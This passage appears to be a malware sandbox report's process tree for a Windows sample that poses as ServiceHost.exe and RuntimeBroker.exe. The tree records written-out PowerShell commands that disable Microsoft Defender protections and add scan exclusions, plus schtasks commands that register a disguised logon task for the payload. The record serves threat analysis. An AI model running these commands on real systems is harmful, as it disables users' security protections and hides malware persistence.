    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
    3⤵
    PID:5280
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:2896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
    3⤵
    PID:1224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
    3⤵
    PID:1992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
    3⤵
    PID:3552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:2300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:4588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
    3⤵
    PID:4108
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:4572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
    3⤵
    PID:1080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4532
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
    3⤵
    PID:2680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
      4⤵
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
    3⤵
    PID:3364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
      4⤵
      PID:3084
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
    3⤵
    PID:4512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
    3⤵
    PID:3728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
      4⤵
      PID:4152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
    3⤵
    PID:5512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
      4⤵
      PID:5640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
    3⤵
    PID:6204
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
      4⤵
      PID:6272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:6872
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:6908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
    3⤵
    PID:6116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
    3⤵
    PID:7156
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    PID:6792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
    3⤵
    PID:6476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
    3⤵
    PID:336
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
    3⤵
    PID:6372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
    3⤵
    PID:6568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
    3⤵
    PID:6016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
    3⤵
    PID:696
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:6764
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\deathcode.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6500

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe
1⤵
PID:3452
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe
  2⤵
  PID:1936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
    3⤵
    PID:5460
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
    3⤵
    PID:1136
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
    3⤵
    PID:2940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:3920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
    3⤵
    PID:3712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:4576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:4840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
    3⤵
    PID:3456
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
    3⤵
    PID:4300
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
    3⤵
    PID:5004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
      4⤵
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
    3⤵
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
      4⤵
      PID:1808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
    3⤵
    PID:1880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
    3⤵
    PID:4444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
      4⤵
      PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
    3⤵
    PID:3040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
    3⤵
    PID:2840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:2416
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
    3⤵
    PID:4104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
    3⤵
    PID:6436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    PID:7068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
    3⤵
    PID:1328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
    3⤵
    PID:6648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
    3⤵
    PID:6976
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
    3⤵
    PID:1044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
    3⤵
    PID:7104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
    3⤵
    PID:3420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:7036
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:6200
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\ServiceHost.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6868

C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe
C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe
1⤵
PID:5036
- C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe
  C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe
  2⤵
  PID:5988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:5620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
    3⤵
    PID:1188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
    3⤵
    PID:2116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
    3⤵
    PID:1060
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
    3⤵
    PID:4584
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:1832
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
    3⤵
    PID:4936
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
    3⤵
    PID:5820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:1472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
    3⤵
    PID:5604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
      4⤵
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      PID:4564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
    3⤵
    PID:6176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
    3⤵
    PID:6756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:6780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
    3⤵
    PID:692
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
      4⤵
      PID:2740
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
    3⤵
    PID:2756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
    3⤵
    PID:6724
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
      4⤵
      PID:6488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:4788
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
    3⤵
    PID:6856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
    3⤵
    PID:4876
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    PID:6652
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
    3⤵
    PID:4536
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
    3⤵
    PID:6420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
    3⤵
    PID:4152
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
    3⤵
    PID:888
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
    3⤵
    PID:4556
